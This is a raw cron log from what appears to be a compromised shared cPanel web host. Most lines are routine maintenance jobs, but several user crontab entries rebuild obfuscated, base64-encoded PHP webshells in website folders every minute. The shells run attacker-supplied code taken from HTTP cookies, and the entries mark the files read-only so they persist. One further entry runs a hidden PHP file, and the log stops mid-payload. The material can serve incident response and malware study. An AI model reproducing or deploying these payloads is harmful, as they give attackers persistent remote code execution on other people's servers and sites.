Mar  1 22:20:01 medusa CROND[31445]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 22:20:01 medusa CROND[31453]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 22:20:01 medusa CROND[31454]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 22:20:01 medusa CROND[31455]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 22:20:01 medusa CROND[31457]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 22:20:01 medusa CROND[31459]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  1 22:20:01 medusa CROND[31462]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:20:01 medusa CROND[31467]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 22:20:01 medusa CROND[31468]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:20:01 medusa CROND[31460]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 22:20:01 medusa CROND[31464]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 22:20:01 medusa CROND[31463]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  1 22:20:01 medusa CROND[31481]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 22:20:01 medusa CROND[31482]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:20:01 medusa CROND[31487]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 22:20:01 medusa CROND[31471]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 22:21:01 medusa CROND[5867]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 22:21:01 medusa CROND[6072]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 22:21:01 medusa CROND[6073]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 22:21:01 medusa CROND[6077]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 22:21:01 medusa CROND[6078]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 22:21:01 medusa CROND[6079]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 22:21:01 medusa CROND[6080]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 22:21:01 medusa CROND[6081]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 22:21:01 medusa CROND[6092]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:21:01 medusa CROND[6094]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:21:01 medusa CROND[6090]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:21:01 medusa CROND[6093]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 22:21:01 medusa CROND[6101]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 22:21:01 medusa CROND[6104]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:22:01 medusa CROND[11956]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 22:22:01 medusa CROND[11957]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 22:22:01 medusa CROND[11959]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:22:01 medusa CROND[11960]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 22:22:01 medusa CROND[11961]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 22:22:01 medusa CROND[11962]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 22:22:01 medusa CROND[11964]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5